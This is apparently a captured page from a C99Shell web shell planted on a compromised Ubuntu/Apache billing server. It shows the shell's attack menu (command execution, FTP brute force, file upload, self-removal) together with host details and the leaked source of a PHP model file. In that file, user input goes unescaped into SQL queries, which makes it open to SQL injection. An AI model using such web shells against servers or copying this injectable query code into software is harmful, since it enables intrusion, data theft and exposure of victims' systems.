!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/billing/system/application/models/   drwxr-xr-x
Free 13.18 GB of 57.97 GB (22.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     failedcallmodel.php (2.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
class FailedcallModel extends Model{

        function FailedcallModel()
        {
                parent::Model();
        }


/**
 ***********************************************************************
 * @Start Failed Call Section ******************************************
 ***********************************************************************
*/



/**
 * @author: Md. Sabbir Ali
 * @email: sabbircsecuet@gmail.com
 * @description: This function return total number of Failed Call
 * @copyright 2011
 */
 
     function getTotalnumFailedCall($call_start,$call_end,$login,$called_number)
     {
        if($call_start=="NULL")
        $call_startStr = date('Y-m-d')." 00:00:00";
        else
        $call_startStr = $call_start." 00:00:00";

        if($call_end=="NULL")
        $call_endStr = date('Y-m-d')." 23:59:59";
        else
        $call_endStr = $call_end." 00:00:00";

        if($login=="NULL")
        $loginStr = "";
        else
        $loginStr = "AND a.login LIKE '$login%'";

        if($called_number=="NULL")
        $called_numberStr = "";
        else
        $called_numberStr = "AND a.called_number LIKE '$called_number%'";

        $sql = "SELECT COUNT(a.id) as totalrows FROM failedcalls a WHERE a.id != '-1' AND a.call_start BETWEEN '$call_startStr' AND '$call_endStr'   $loginStr $called_numberStr";
                 
           //echo $sql;
        $row = 0;
        $query = $this->db->query($sql);
        foreach($query->result() as $resultrow)
        {
            $row = $resultrow->totalrows;
        }
        return $row;
    }
    

/**
 * @author: Md. Sabbir Ali
 * @email: sabbircsecuet@gmail.com
 * @description: This function return Failed Call List
 * @copyright 2011
 */
    function failedCallList($startoffset,$limit,$call_start,$call_end,$login,$called_number)
    {

        $new_startoffset = $startoffset - 1;
        if($new_startoffset <0)
        $new_startoffset = 0;
        $startoffset1 = $limit * $new_startoffset;
        $limit_string = "LIMIT $startoffset1,$limit";

        if($call_start=="NULL")
        $call_startStr = date('Y-m-d')." 00:00:00";
        else
        $call_startStr = $call_start." 00:00:00";

        if($call_end=="NULL")
        $call_endStr = date('Y-m-d')." 23:59:59";
        else
        $call_endStr = $call_end." 00:00:00";
        


        if($login=="NULL")
        $loginStr = "";
        else
        $loginStr = "AND a.login LIKE '$login%'";

        if($called_number=="NULL")
        $called_numberStr = "";
        else
        $called_numberStr = "AND a.called_number LIKE '$called_number%'";



        $sql = "SELECT * FROM failedcalls a WHERE a.id != '-1'AND a.call_start BETWEEN '$call_startStr' AND '$call_endStr' $loginStr $called_numberStr ORDER BY a.call_start DESC $limit_string";

               //echo $sql;

        $query = $this->db->query($sql);
        if($query->num_rows()>0)
          return $query->result();
        else
         return 0;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--